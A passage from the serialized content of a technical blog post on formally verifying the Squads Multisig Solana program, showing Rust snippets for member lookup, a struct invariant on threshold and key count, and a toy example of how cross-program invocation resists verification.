Ok(())\n}\n",[38426],{"type":23,"tag":71,"props":38427,"children":38428},{"__ignoreMap":7},[38429,38493,38552,38589,38648,38716,38723,38730,38741],{"type":23,"tag":75,"props":38430,"children":38431},{"class":77,"line":78},[38432,38436,38440,38444,38448,38452,38456,38460,38464,38469,38473,38477,38481,38485,38489],{"type":23,"tag":75,"props":38433,"children":38434},{"style":82},[38435],{"type":29,"value":24933},{"type":23,"tag":75,"props":38437,"children":38438},{"style":82},[38439],{"type":29,"value":24938},{"type":23,"tag":75,"props":38441,"children":38442},{"style":88},[38443],{"type":29,"value":36967},{"type":23,"tag":75,"props":38445,"children":38446},{"style":94},[38447],{"type":29,"value":643},{"type":23,"tag":75,"props":38449,"children":38450},{"style":209},[38451],{"type":29,"value":1277},{"type":23,"tag":75,"props":38453,"children":38454},{"style":82},[38455],{"type":29,"value":14998},{"type":23,"tag":75,"props":38457,"children":38458},{"style":82},[38459],{"type":29,"value":25039},{"type":23,"tag":75,"props":38461,"children":38462},{"style":94},[38463],{"type":29,"value":611},{"type":23,"tag":75,"props":38465,"children":38466},{"style":110},[38467],{"type":29,"value":38468},"member",{"type":23,"tag":75,"props":38470,"children":38471},{"style":209},[38472],{"type":29,"value":1018},{"type":23,"tag":75,"props":38474,"children":38475},{"style":104},[38476],{"type":29,"value":32075},{"type":23,"tag":75,"props":38478,"children":38479},{"style":94},[38480],{"type":29,"value":167},{"type":23,"tag":75,"props":38482,"children":38483},{"style":209},[38484],{"type":29,"value":1156},{"type":23,"tag":75,"props":38486,"children":38487},{"style":104},[38488],{"type":29,"value":25004},{"type":23,"tag":75,"props":38490,"children":38491},{"style":94},[38492],{"type":29,"value":31551},{"type":23,"tag":75,"props":38494,"children":38495},{"class":77,"line":100},[38496,38500,38505,38510,38514,38519,38523,38527,38531,38535,38540,38544,38548],{"type":23,"tag":75,"props":38497,"children":38498},{"style":175},[38499],{"type":29,"value":1363},{"type":23,"tag":75,"props":38501,"children":38502},{"style":82},[38503],{"type":29,"value":38504}," let",{"type":23,"tag":75,"props":38506,"children":38507},{"style":104},[38508],{"type":29,"value":38509}," Some",{"type":23,"tag":75,"props":38511,"children":38512},{"style":94},[38513],{"type":29,"value":643},{"type":23,"tag":75,"props":38515,"children":38516},{"style":110},[38517],{"type":29,"value":38518},"ind",{"type":23,"tag":75,"props":38520,"children":38521},{"style":94},[38522],{"type":29,"value":167},{"type":23,"tag":75,"props":38524,"children":38525},{"style":209},[38526],{"type":29,"value":212},{"type":23,"tag":75,"props":38528,"children":38529},{"style":82},[38530],{"type":29,"value":25039},{"type":23,"tag":75,"props":38532,"children":38533},{"style":209},[38534],{"type":29,"value":557},{"type":23,"tag":75,"props":38536,"children":38537},{"style":88},[38538],{"type":29,"value":38539},"is_member",{"type":23,"tag":75,"props":38541,"children":38542},{"style":94},[38543],{"type":29,"value":643},{"type":23,"tag":75,"props":38545,"children":38546},{"style":110},[38547],{"type":29,"value":38468},{"type":23,"tag":75,"props":38549,"children":38550},{"style":94},[38551],{"type":29,"value":193},{"type":23,"tag":75,"props":38553,"children":38554},{"class":77,"line":121},[38555,38560,38564,38568,38572,38577,38581,38585],{"type":23,"tag":75,"props":38556,"children":38557},{"style":82},[38558],{"type":29,"value":38559},"        self",{"type":23,"tag":75,"props":38561,"children":38562},{"style":209},[38563],{"type":29,"value":557},{"type":23,"tag":75,"props":38565,"children":38566},{"style":94},[38567],{"type":29,"value":1995},{"type":23,"tag":75,"props":38569,"children":38570},{"style":209},[38571],{"type":29,"value":557},{"type":23,"tag":75,"props":38573,"children":38574},{"style":88},[38575],{"type":29,"value":38576},"remove",{"type":23,"tag":75,"props":38578,"children":38579},{"style":94},[38580],{"type":29,"value":643},{"type":23,"tag":75,"props":38582,"children":38583},{"style":110},[38584],{"type":29,"value":38518},{"type":23,"tag":75,"props":38586,"children":38587},{"style":94},[38588],{"type":29,"value":15099},{"type":23,"tag":75,"props":38590,"children":38591},{"class":77,"line":138},[38592,38596,38600,38604,38608,38612,38616,38620,38624,38628,38632,38636,38640,38644],{"type":23,"tag":75,"props":38593,"children":38594},{"style":175},[38595],{"type":29,"value":2445},{"type":23,"tag":75,"props":38597,"children":38598},{"style":82},[38599],{"type":29,"value":25039},{"type":23,"tag":75,"props":38601,"children":38602},{"style":209},[38603],{"type":29,"value":557},{"type":23,"tag":75,"props":38605,"children":38606},{"style":94},[38607],{"type":29,"value":1995},{"type":23,"tag":75,"props":38609,"children":38610},{"style":209},[38611],{"type":29,"value":557},{"type":23,"tag":75,"props":38613,"children":38614},{"style":88},[38615],{"type":29,"value":679},{"type":23,"tag":75,"props":38617,"children":38618},{"style":94},[38619],{"type":29,"value":37245},{"type":23,"tag":75,"props":38621,"children":38622},{"style":104},[38623],{"type":29,"value":27825},{"type":23,"tag":75,"props":38625,"children":38626},{"style":209},[38627],{"type":29,"value":1407},{"type":23,"tag":75,"props":38629,"children":38630},{"style":88},[38631],{"type":29,"value":30696},{"type":23,"tag":75,"props":38633,"children":38634},{"style":94},[38635],{"type":29,"value":643},{"type":23,"tag":75,"props":38637,"children":38638},{"style":82},[38639],{"type":29,"value":24956},{"type":23,"tag":75,"props":38641,"children":38642},{"style":209},[38643],{"type":29,"value":557},{"type":23,"tag":75,"props":38645,"children":38646},{"style":94},[38647],{"type":29,"value":37290},{"type":23,"tag":75,"props":38649,"children":38650},{"class":77,"line":161},[38651,38656,38660,38664,38668,38672,38676,38680,38684,38688,38692,38696,38700,38704,38708,38712],{"type":23,"tag":75,"props":38652,"children":38653},{"style":82},[38654],{"type":29,"value":38655},"            self",{"type":23,"tag":75,"props":38657,"children":38658},{"style":209},[38659],{"type":29,"value":557},{"type":23,"tag":75,"props":38661,"children":38662},{"style":94},[38663],{"type":29,"value":32288},{"type":23,"tag":75,"props":38665,"children":38666},{"style":209},[38667],{"type":29,"value":212},{"type":23,"tag":75,"props":38669,"children":38670},{"style":82},[38671],{"type":29,"value":25039},{"type":23,"tag":75,"props":38673,"children":38674},{"style":209},[38675],{"type":29,"value":557},{"type":23,"tag":75,"props":38677,"children":38678},{"style":94},[38679],{"type":29,"value":1995},{"type":23,"tag":75,"props":38681,"children":38682},{"style":209},[38683],{"type":29,"value":557},{"type":23,"tag":75,"props":38685,"children":38686},{"style":88},[38687],{"type":29,"value":679},{"type":23,"tag":75,"props":38689,"children":38690},{"style":94},[38691],{"type":29,"value":1417},{"type":23,"tag":75,"props":38693,"children":38694},{"style":209},[38695],{"type":29,"value":557},{"type":23,"tag":75,"props":38697,"children":38698},{"style":88},[38699],{"type":29,"value":37363},{"type":23,"tag":75,"props":38701,"children":38702},{"style":94},[38703],{"type":29,"value":1417},{"type":23,"tag":75,"props":38705,"children":38706},{"style":209},[38707],{"type":29,"value":557},{"type":23,"tag":75,"props":38709,"children":38710},{"style":88},[38711],{"type":29,"value":14939},{"type":23,"tag":75,"props":38713,"children":38714},{"style":94},[38715],{"type":29,"value":14944},{"type":23,"tag":75,"props":38717,"children":38718},{"class":77,"line":196},[38719],{"type":23,"tag":75,"props":38720,"children":38721},{"style":94},[38722],{"type":29,"value":2503},{"type":23,"tag":75,"props":38724,"children":38725},{"class":77,"line":220},[38726],{"type":23,"tag":75,"props":38727,"children":38728},{"style":94},[38729],{"type":29,"value":346},{"type":23,"tag":75,"props":38731,"children":38732},{"class":77,"line":248},[38733,38737],{"type":23,"tag":75,"props":38734,"children":38735},{"style":104},[38736],{"type":29,"value":1504},{"type":23,"tag":75,"props":38738,"children":38739},{"style":94},[38740],{"type":29,"value":25574},{"type":23,"tag":75,"props":38742,"children":38743},{"class":77,"line":270},[38744],{"type":23,"tag":75,"props":38745,"children":38746},{"style":94},[38747],{"type":29,"value":369},{"type":23,"tag":32,"props":38749,"children":38750},{},[38751,38753,38758,38760,38766,38768,38774,38776,38781],{"type":29,"value":38752},"Inside ",{"type":23,"tag":71,"props":38754,"children":38756},{"className":38755},[],[38757],{"type":29,"value":38412},{"type":29,"value":38759},", we see that it performs a ",{"type":23,"tag":71,"props":38761,"children":38763},{"className":38762},[],[38764],{"type":29,"value":38765},"binary_search",{"type":29,"value":38767}," on the keys vec and returns the index or ",{"type":23,"tag":71,"props":38769,"children":38771},{"className":38770},[],[38772],{"type":29,"value":38773},"None",{"type":29,"value":38775},". Since the vec has size zero, this will just return ",{"type":23,"tag":71,"props":38777,"children":38779},{"className":38778},[],[38780],{"type":29,"value":38773},{"type":29,"value":557},{"type":23,"tag":64,"props":38783,"children":38785},{"code":38784,"language":986,"meta":7,"className":987,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[38786],{"type":23,"tag":71,"props":38787,"children":38788},{"__ignoreMap":7},[38789,38858,38901,38940,38961,38968],{"type":23,"tag":75,"props":38790,"children":38791},{"class":77,"line":78},[38792,38796,38800,38805,38809,38813,38817,38821,38825,38829,38833,38837,38841,38846,38850,38854],{"type":23,"tag":75,"props":38793,"children":38794},{"style":82},[38795],{"type":29,"value":24933},{"type":23,"tag":75,"props":38797,"children":38798},{"style":82},[38799],{"type":29,"value":24938},{"type":23,"tag":75,"props":38801,"children":38802},{"style":88},[38803],{"type":29,"value":38804}," is_member",{"type":23,"tag":75,"props":38806,"children":38807},{"style":94},[38808],{"type":29,"value":643},{"type":23,"tag":75,"props":38810,"children":38811},{"style":209},[38812],{"type":29,"value":1277},{"type":23,"tag":75,"props":38814,"children":38815},{"style":82},[38816],{"type":29,"value":24956},{"type":23,"tag":75,"props":38818,"children":38819},{"style":94},[38820],{"type":29,"value":611},{"type":23,"tag":75,"props":38822,"children":38823},{"style":110},[38824],{"type":29,"value":38468},{"type":23,"tag":75,"props":38826,"children":38827},{"style":209},[38828],{"type":29,"value":1018},{"type":23,"tag":75,"props":38830,"children":38831},{"style":104},[38832],{"type":29,"value":32075},{"type":23,"tag":75,"props":38834,"children":38835},{"style":94},[38836],{"type":29,"value":167},{"type":23,"tag":75,"props":38838,"children":38839},{"style":209},[38840],{"type":29,"value":1156},{"type":23,"tag":75,"props":38842,"children":38843},{"style":104},[38844],{"type":29,"value":38845}," Option",{"type":23,"tag":75,"props":38847,"children":38848},{"style":94},[38849],{"type":29,"value":295},{"type":23,"tag":75,"props":38851,"children":38852},{"style":104},[38853],{"type":29,"value":27825},{"type":23,"tag":75,"props":38855,"children":38856},{"style":94},[38857],{"type":29,"value":1175},{"type":23,"tag":75,"props":38859,"children":38860},{"class":77,"line":100},[38861,38865,38869,38873,38877,38881,38885,38889,38893,38897],{"type":23,"tag":75,"props":38862,"children":38863},{"style":175},[38864],{"type":29,"value":25989},{"type":23,"tag":75,"props":38866,"children":38867},{"style":82},[38868],{"type":29,"value":25039},{"type":23,"tag":75,"props":38870,"children":38871},{"style":209},[38872],{"type":29,"value":557},{"type":23,"tag":75,"props":38874,"children":38875},{"style":94},[38876],{"type":29,"value":1995},{"type":23,"tag":75,"props":38878,"children":38879},{"style":209},[38880],{"type":29,"value":557},{"type":23,"tag":75,"props":38882,"children":38883},{"style":88},[38884],{"type":29,"value":38765},{"type":23,"tag":75,"props":38886,"children":38887},{"style":94},[38888],{"type":29,"value":643},{"type":23,"tag":75,"props":38890,"children":38891},{"style":209},[38892],{"type":29,"value":1277},{"type":23,"tag":75,"props":38894,"children":38895},{"style":110},[38896],{"type":29,"value":38468},{"type":23,"tag":75,"props":38898,"children":38899},{"style":94},[38900],{"type":29,"value":193},{"type":23,"tag":75,"props":38902,"children":38903},{"class":77,"line":121},[38904,38908,38912,38916,38920,38924,38928,38932,38936],{"type":23,"tag":75,"props":38905,"children":38906},{"style":104},[38907],{"type":29,"value":26047},{"type":23,"tag":75,"props":38909,"children":38910},{"style":94},[38911],{"type":29,"value":643},{"type":23,"tag":75,"props":38913,"children":38914},{"style":110},[38915],{"type":29,"value":38518},{"type":23,"tag":75,"props":38917,"children":38918},{"style":94},[38919],{"type":29,"value":167},{"type":23,"tag":75,"props":38921,"children":38922},{"style":209},[38923],{"type":29,"value":26057},{"type":23,"tag":75,"props":38925,"children":38926},{"style":104},[38927],{"type":29,"value":38509},{"type":23,"tag":75,"props":38929,"children":38930},{"style":94},[38931],{"type":29,"value":643},{"type":23,"tag":75,"props":38933,"children":38934},{"style":110},[38935],{"type":29,"value":38518},{"type":23,"tag":75,"props":38937,"children":38938},{"style":94},[38939],{"type":29,"value":1792},{"type":23,"tag":75,"props":38941,"children":38942},{"class":77,"line":138},[38943,38947,38952,38957],{"type":23,"tag":75,"props":38944,"children":38945},{"style":110},[38946],{"type":29,"value":13101},{"type":23,"tag":75,"props":38948,"children":38949},{"style":209},[38950],{"type":29,"value":38951}," =>",{"type":23,"tag":75,"props":38953,"children":38954},{"style":104},[38955],{"type":29,"value":38956}," None",{"type":23,"tag":75,"props":38958,"children":38959},{"style":94},[38960],{"type":29,"value":118},{"type":23,"tag":75,"props":38962,"children":38963},{"class":77,"line":161},[38964],{"type":23,"tag":75,"props":38965,"children":38966},{"style":94},[38967],{"type":29,"value":346},{"type":23,"tag":75,"props":38969,"children":38970},{"class":77,"line":196},[38971],{"type":23,"tag":75,"props":38972,"children":38973},{"style":94},[38974],{"type":29,"value":369},{"type":23,"tag":32,"props":38976,"children":38977},{},[38978,38980,38985,38987,38992,38994,38999,39001,39006],{"type":29,"value":38979},"So interestingly, a ",{"type":23,"tag":71,"props":38981,"children":38983},{"className":38982},[],[38984],{"type":29,"value":1995},{"type":29,"value":38986}," vec of size 0 ",{"type":23,"tag":9690,"props":38988,"children":38989},{},[38990],{"type":29,"value":38991},"is actually",{"type":29,"value":38993}," a sufficient condition to execute ",{"type":23,"tag":71,"props":38995,"children":38997},{"className":38996},[],[38998],{"type":29,"value":36668},{"type":29,"value":39000},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":9690,"props":39002,"children":39003},{},[39004],{"type":29,"value":39005},"valid",{"type":29,"value":39007}," multisig, the number of keys should never be zero.",{"type":23,"tag":32,"props":39009,"children":39010},{},[39011,39013,39018],{"type":29,"value":39012},"We can represent this ",{"type":23,"tag":9690,"props":39014,"children":39015},{},[39016],{"type":29,"value":39017},"validity",{"type":29,"value":39019}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":64,"props":39021,"children":39023},{"code":39022,"language":986,"meta":7,"className":987,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[39024],{"type":23,"tag":71,"props":39025,"children":39026},{"__ignoreMap":7},[39027,39034,39057,39108,39115],{"type":23,"tag":75,"props":39028,"children":39029},{"class":77,"line":78},[39030],{"type":23,"tag":75,"props":39031,"children":39032},{"style":94},[39033],{"type":29,"value":31996},{"type":23,"tag":75,"props":39035,"children":39036},{"class":77,"line":100},[39037,39041,39045,39049,39053],{"type":23,"tag":75,"props":39038,"children":39039},{"style":94},[39040],{"type":29,"value":35933},{"type":23,"tag":75,"props":39042,"children":39043},{"style":209},[39044],{"type":29,"value":557},{"type":23,"tag":75,"props":39046,"children":39047},{"style":94},[39048],{"type":29,"value":32288},{"type":23,"tag":75,"props":39050,"children":39051},{"style":209},[39052],{"type":29,"value":21191},{"type":23,"tag":75,"props":39054,"children":39055},{"style":94},[39056],{"type":29,"value":32297},{"type":23,"tag":75,"props":39058,"children":39059},{"class":77,"line":121},[39060,39064,39068,39072,39076,39080,39084,39088,39092,39096,39100,39104],{"type":23,"tag":75,"props":39061,"children":39062},{"style":209},[39063],{"type":29,"value":26849},{"type":23,"tag":75,"props":39065,"children":39066},{"style":94},[39067],{"type":29,"value":32221},{"type":23,"tag":75,"props":39069,"children":39070},{"style":209},[39071],{"type":29,"value":557},{"type":23,"tag":75,"props":39073,"children":39074},{"style":94},[39075],{"type":29,"value":32288},{"type":23,"tag":75,"props":39077,"children":39078},{"style":82},[39079],{"type":29,"value":20097},{"type":23,"tag":75,"props":39081,"children":39082},{"style":104},[39083],{"type":29,"value":24974},{"type":23,"tag":75,"props":39085,"children":39086},{"style":209},[39087],{"type":29,"value":19456},{"type":23,"tag":75,"props":39089,"children":39090},{"style":94},[39091],{"type":29,"value":25039},{"type":23,"tag":75,"props":39093,"children":39094},{"style":209},[39095],{"type":29,"value":557},{"type":23,"tag":75,"props":39097,"children":39098},{"style":94},[39099],{"type":29,"value":1995},{"type":23,"tag":75,"props":39101,"children":39102},{"style":209},[39103],{"type":29,"value":557},{"type":23,"tag":75,"props":39105,"children":39106},{"style":94},[39107],{"type":29,"value":32349},{"type":23,"tag":75,"props":39109,"children":39110},{"class":77,"line":138},[39111],{"type":23,"tag":75,"props":39112,"children":39113},{"style":94},[39114],{"type":29,"value":31480},{"type":23,"tag":75,"props":39116,"children":39117},{"class":77,"line":161},[39118,39122,39126,39130,39134,39138],{"type":23,"tag":75,"props":39119,"children":39120},{"style":82},[39121],{"type":29,"value":24933},{"type":23,"tag":75,"props":39123,"children":39124},{"style":82},[39125],{"type":29,"value":396},{"type":23,"tag":75,"props":39127,"children":39128},{"style":104},[39129],{"type":29,"value":32372},{"type":23,"tag":75,"props":39131,"children":39132},{"style":94},[39133],{"type":29,"value":20837},{"type":23,"tag":75,"props":39135,"children":39136},{"style":209},[39137],{"type":29,"value":9174},{"type":23,"tag":75,"props":39139,"children":39140},{"style":94},[39141],{"type":29,"value":7477},{"type":23,"tag":32,"props":39143,"children":39144},{},[39145,39147,39153,39155,39161],{"type":29,"value":39146},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":71,"props":39148,"children":39150},{"className":39149},[],[39151],{"type":29,"value":39152},"keys.len() == 0",{"type":29,"value":39154}," and allows us to prove the biconditional ",{"type":23,"tag":71,"props":39156,"children":39158},{"className":39157},[],[39159],{"type":29,"value":39160},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":557},{"type":23,"tag":923,"props":39163,"children":39165},{"id":39164},"safety-guarantees",[39166],{"type":29,"value":33999},{"type":23,"tag":32,"props":39168,"children":39169},{},[39170],{"type":29,"value":39171},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":32,"props":39173,"children":39174},{},[39175],{"type":29,"value":39176},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":32,"props":39178,"children":39179},{},[39180,39182,39188],{"type":29,"value":39181},"In the multisig program this happens in the ",{"type":23,"tag":71,"props":39183,"children":39185},{"className":39184},[],[39186],{"type":29,"value":39187},"execute_transaction",{"type":29,"value":39189}," instruction.",{"type":23,"tag":32,"props":39191,"children":39192},{},[39193],{"type":23,"tag":9690,"props":39194,"children":39195},{},[39196],{"type":29,"value":39197},"So what do you do?",{"type":23,"tag":32,"props":39199,"children":39200},{},[39201],{"type":29,"value":39202},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":64,"props":39204,"children":39206},{"code":39205,"language":986,"meta":7,"className":987,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[39207],{"type":23,"tag":71,"props":39208,"children":39209},{"__ignoreMap":7},[39210,39225,39241,39256,39297,39304,39311,39318,39335,39351,39372,39379,39386,39402,39422,39450,39457,39464,39471,39479,39532,39558,39565,39594,39618,39652,39659,39670],{"type":23,"tag":75,"props":39211,"children":39212},{"class":77,"line":78},[39213,39217,39221],{"type":23,"tag":75,"props":39214,"children":39215},{"style":94},[39216],{"type":29,"value":34052},{"type":23,"tag":75,"props":39218,"children":39219},{"style":104},[39220],{"type":29,"value":34057},{"type":23,"tag":75,"props":39222,"children":39223},{"style":94},[39224],{"type":29,"value":31480},{"type":23,"tag":75,"props":39226,"children":39227},{"class":77,"line":100},[39228,39232,39237],{"type":23,"tag":75,"props":39229,"children":39230},{"style":82},[39231],{"type":29,"value":24933},{"type":23,"tag":75,"props":39233,"children":39234},{"style":104},[39235],{"type":29,"value":39236}," MyCtx",{"type":23,"tag":75,"props":39238,"children":39239},{"style":94},[39240],{"type":29,"value":401},{"type":23,"tag":75,"props":39242,"children":39243},{"class":77,"line":121},[39244,39248,39252],{"type":23,"tag":75,"props":39245,"children":39246},{"style":94},[39247],{"type":29,"value":34344},{"type":23,"tag":75,"props":39249,"children":39250},{"style":82},[39251],{"type":29,"value":14998},{"type":23,"tag":75,"props":39253,"children":39254},{"style":94},[39255],{"type":29,"value":31480},{"type":23,"tag":75,"props":39257,"children":39258},{"class":77,"line":138},[39259,39263,39268,39272,39276,39280,39284,39288,39293],{"type":23,"tag":75,"props":39260,"children":39261},{"style":82},[39262],{"type":29,"value":32061},{"type":23,"tag":75,"props":39264,"children":39265},{"style":110},[39266],{"type":29,"value":39267}," my_account",{"type":23,"tag":75,"props":39269,"children":39270},{"style":209},[39271],{"type":29,"value":1018},{"type":23,"tag":75,"props":39273,"children":39274},{"style":104},[39275],{"type":29,"value":34309},{"type":23,"tag":75,"props":39277,"children":39278},{"style":94},[39279],{"type":29,"value":34137},{"type":23,"tag":75,"props":39281,"children":39282},{"style":104},[39283],{"type":29,"value":34142},{"type":23,"tag":75,"props":39285,"children":39286},{"style":94},[39287],{"type":29,"value":611},{"type":23,"tag":75,"props":39289,"children":39290},{"style":104},[39291],{"type":29,"value":39292},"Acc",{"type":23,"tag":75,"props":39294,"children":39295},{"style":94},[39296],{"type":29,"value":17260},{"type":23,"tag":75,"props":39298,"children":39299},{"class":77,"line":161},[39300],{"type":23,"tag":75,"props":39301,"children":39302},{"style":94},[39303],{"type":29,"value":369},{"type":23,"tag":75,"props":39305,"children":39306},{"class":77,"line":196},[39307],{"type":23,"tag":75,"props":39308,"children":39309},{"emptyLinePlaceholder":15},[39310],{"type":29,"value":276},{"type":23,"tag":75,"props":39312,"children":39313},{"class":77,"line":220},[39314],{"type":23,"tag":75,"props":39315,"children":39316},{"style":94},[39317],{"type":29,"value":31988},{"type":23,"tag":75,"props":39319,"children":39320},{"class":77,"line":248},[39321,39326,39330],{"type":23,"tag":75,"props":39322,"children":39323},{"style":94},[39324],{"type":29,"value":39325},"#[invariant(bad ",{"type":23,"tag":75,"props":39327,"children":39328},{"style":209},[39329],{"type":29,"value":2469},{"type":23,"tag":75,"props":39331,"children":39332},{"style":94},[39333],{"type":29,"value":39334}," false)]\n",{"type":23,"tag":75,"props":39336,"children":39337},{"class":77,"line":270},[39338,39342,39347],{"type":23,"tag":75,"props":39339,"children":39340},{"style":82},[39341],{"type":29,"value":20652},{"type":23,"tag":75,"props":39343,"children":39344},{"style":104},[39345],{"type":29,"value":39346}," Acc",{"type":23,"tag":75,"props":39348,"children":39349},{"style":94},[39350],{"type":29,"value":401},{"type":23,"tag":75,"props":39352,"children":39353},{"class":77,"line":279},[39354,39358,39363,39367],{"type":23,"tag":75,"props":39355,"children":39356},{"style":82},[39357],{"type":29,"value":32061},{"type":23,"tag":75,"props":39359,"children":39360},{"style":110},[39361],{"type":29,"value":39362}," bad",{"type":23,"tag":75,"props":39364,"children":39365},{"style":209},[39366],{"type":29,"value":1018},{"type":23,"tag":75,"props":39368,"children":39369},{"style":104},[39370],{"type":29,"value":39371}," bool\n",{"type":23,"tag":75,"props":39373,"children":39374},{"class":77,"line":303},[39375],{"type":23,"tag":75,"props":39376,"children":39377},{"style":94},[39378],{"type":29,"value":369},{"type":23,"tag":75,"props":39380,"children":39381},{"class":77,"line":322},[39382],{"type":23,"tag":75,"props":39383,"children":39384},{"emptyLinePlaceholder":15},[39385],{"type":29,"value":276},{"type":23,"tag":75,"props":39387,"children":39388},{"class":77,"line":340},[39389,39394,39398],{"type":23,"tag":75,"props":39390,"children":39391},{"style":82},[39392],{"type":29,"value":39393},"impl",{"type":23,"tag":75,"props":39395,"children":39396},{"style":104},[39397],{"type":29,"value":39346},{"type":23,"tag":75,"props":39399,"children":39400},{"style":94},[39401],{"type":29,"value":401},{"type":23,"tag":75,"props":39403,"children":39404},{"class":77,"line":349},[39405,39409,39413,39418],{"type":23,"tag":75,"props":39406,"children":39407},{"style":82},[39408],{"type":29,"value":32061},{"type":23,"tag":75,"props":39410,"children":39411},{"style":82},[39412],{"type":29,"value":24938},{"type":23,"tag":75,"props":39414,"children":39415},{"style":88},[39416],{"type":29,"value":39417}," put_into_bad_state",{"type":23,"tag":75,"props":39419,"children":39420},{"style":94},[39421],{"type":29,"value":12966},{"type":23,"tag":75,"props":39423,"children":39424},{"class":77,"line":363},[39425,39429,39433,39438,39442,39446],{"type":23,"tag":75,"props":39426,"children":39427},{"style":82},[39428],{"type":29,"value":38559},{"type":23,"tag":75,"props":39430,"children":39431},{"style":209},[39432],{"type":29,"value":557},{"type":23,"tag":75,"props":39434,"children":39435},{"style":94},[39436],{"type":29,"value":39437},"bad ",{"type":23,"tag":75,"props":39439,"children":39440},{"style":209},[39441],{"type":29,"value":212},{"type":23,"tag":75,"props":39443,"children":39444},{"style":82},[39445],{"type":29,"value":23713},{"type":23,"tag":75,"props":39447,"children":39448},{"style":94},[39449],{"type":29,"value":245},{"type":23,"tag":75,"props":39451,"children":39452},{"class":77,"line":656},[39453],{"type":23,"tag":75,"props":39454,"children":39455},{"style":94},[39456],{"type":29,"value":346},{"type":23,"tag":75,"props":39458,"children":39459},{"class":77,"line":705},[39460],{"type":23,"tag":75,"props":39461,"children":39462},{"style":94},[39463],{"type":29,"value":369},{"type":23,"tag":75,"props":39465,"children":39466},{"class":77,"line":787},[39467],{"type":23,"tag":75,"props":39468,"children":39469},{"emptyLinePlaceholder":15},[39470],{"type":29,"value":276},{"type":23,"tag":75,"props":39472,"children":39473},{"class":77,"line":826},[39474],{"type":23,"tag":75,"props":39475,"children":39476},{"style":3621},[39477],{"type":29,"value":39478},"// Instruction handler:\n",{"type":23,"tag":75,"props":39480,"children":39481},{"class":77,"line":834},[39482,39486,39491,39495,39499,39503,39507,39511,39516,39520,39524,39528],{"type":23,"tag":75,"props":39483,"children":39484},{"style":82},[39485],{"type":29,"value":999},{"type":23,"tag":75,"props":39487,"children":39488},{"style":88},[39489],{"type":29,"value":39490}," hard_to_verify",{"type":23,"tag":75,"props":39492,"children":39493},{"style":94},[39494],{"type":29,"value":643},{"type":23,"tag":75,"props":39496,"children":39497},{"style":110},[39498],{"type":29,"value":3331},{"type":23,"tag":75,"props":39500,"children":39501},{"style":209},[39502],{"type":29,"value":1018},{"type":23,"tag":75,"props":39504,"children":39505},{"style":104},[39506],{"type":29,"value":31509},{"type":23,"tag":75,"props":39508,"children":39509},{"style":94},[39510],{"type":29,"value":295},{"type":23,"tag":75,"props":39512,"children":39513},{"style":104},[39514],{"type":29,"value":39515},"MyCtx",{"type":23,"tag":75,"props":39517,"children":39518},{"style":94},[39519],{"type":29,"value":31665},{"type":23,"tag":75,"props":39521,"children":39522},{"style":209},[39523],{"type":29,"value":1156},{"type":23,"tag":75,"props":39525,"children":39526},{"style":104},[39527],{"type":29,"value":25004},{"type":23,"tag":75,"props":39529,"children":39530},{"style":94},[39531],{"type":29,"value":31551},{"type":23,"tag":75,"props":39533,"children":39534},{"class":77,"line":881},[39535,39540,39544,39548,39553],{"type":23,"tag":75,"props":39536,"children":39537},{"style":88},[39538],{"type":29,"value":39539},"    invoke_signed",{"type":23,"tag":75,"props":39541,"children":39542},{"style":94},[39543],{"type":29,"value":643},{"type":23,"tag":75,"props":39545,"children":39546},{"style":209},[39547],{"type":29,"value":9174},{"type":23,"tag":75,"props":39549,"children":39550},{"style":94},[39551],{"type":29,"value":39552},"); ",{"type":23,"tag":75,"props":39554,"children":39555},{"style":3621},[39556],{"type":29,"value":39557},"// Cross-program invocation\n",{"type":23,"tag":75,"props":39559,"children":39560},{"class":77,"line":3355},[39561],{"type":23,"tag":75,"props":39562,"children":39563},{"emptyLinePlaceholder":15},[39564],{"type":29,"value":276},{"type":23,"tag":75,"props":39566,"children":39567},{"class":77,"line":3390},[39568,39572,39577,39581,39585,39589],{"type":23,"tag":75,"props":39569,"children":39570},{"style":82},[39571],{"type":29,"value":1183},{"type":23,"tag":75,"props":39573,"children":39574},{"style":110},[39575],{"type":29,"value":39576}," invoke_res",{"type":23,"tag":75,"props":39578,"children":39579},{"style":209},[39580],{"type":29,"value":1193},{"type":23,"tag":75,"props":39582,"children":39583},{"style":209},[39584],{"type":29,"value":13864},{"type":23,"tag":75,"props":39586,"children":39587},{"style":94},[39588],{"type":29,"value":739},{"type":23,"tag":75,"props":39590,"children":39591},{"style":3621},[39592],{"type":29,"value":39593},"// fetch result of invocation\n",{"type":23,"tag":75,"props":39595,"children":39596},{"class":77,"line":3423},[39597,39601,39605,39609,39614],{"type":23,"tag":75,"props":39598,"children":39599},{"style":175},[39600],{"type":29,"value":1363},{"type":23,"tag":75,"props":39602,"children":39603},{"style":110},[39604],{"type":29,"value":39576},{"type":23,"tag":75,"props":39606,"children":39607},{"style":209},[39608],{"type":29,"value":1372},{"type":23,"tag":75,"props":39610,"children":39611},{"style":237},[39612],{"type":29,"value":39613}," 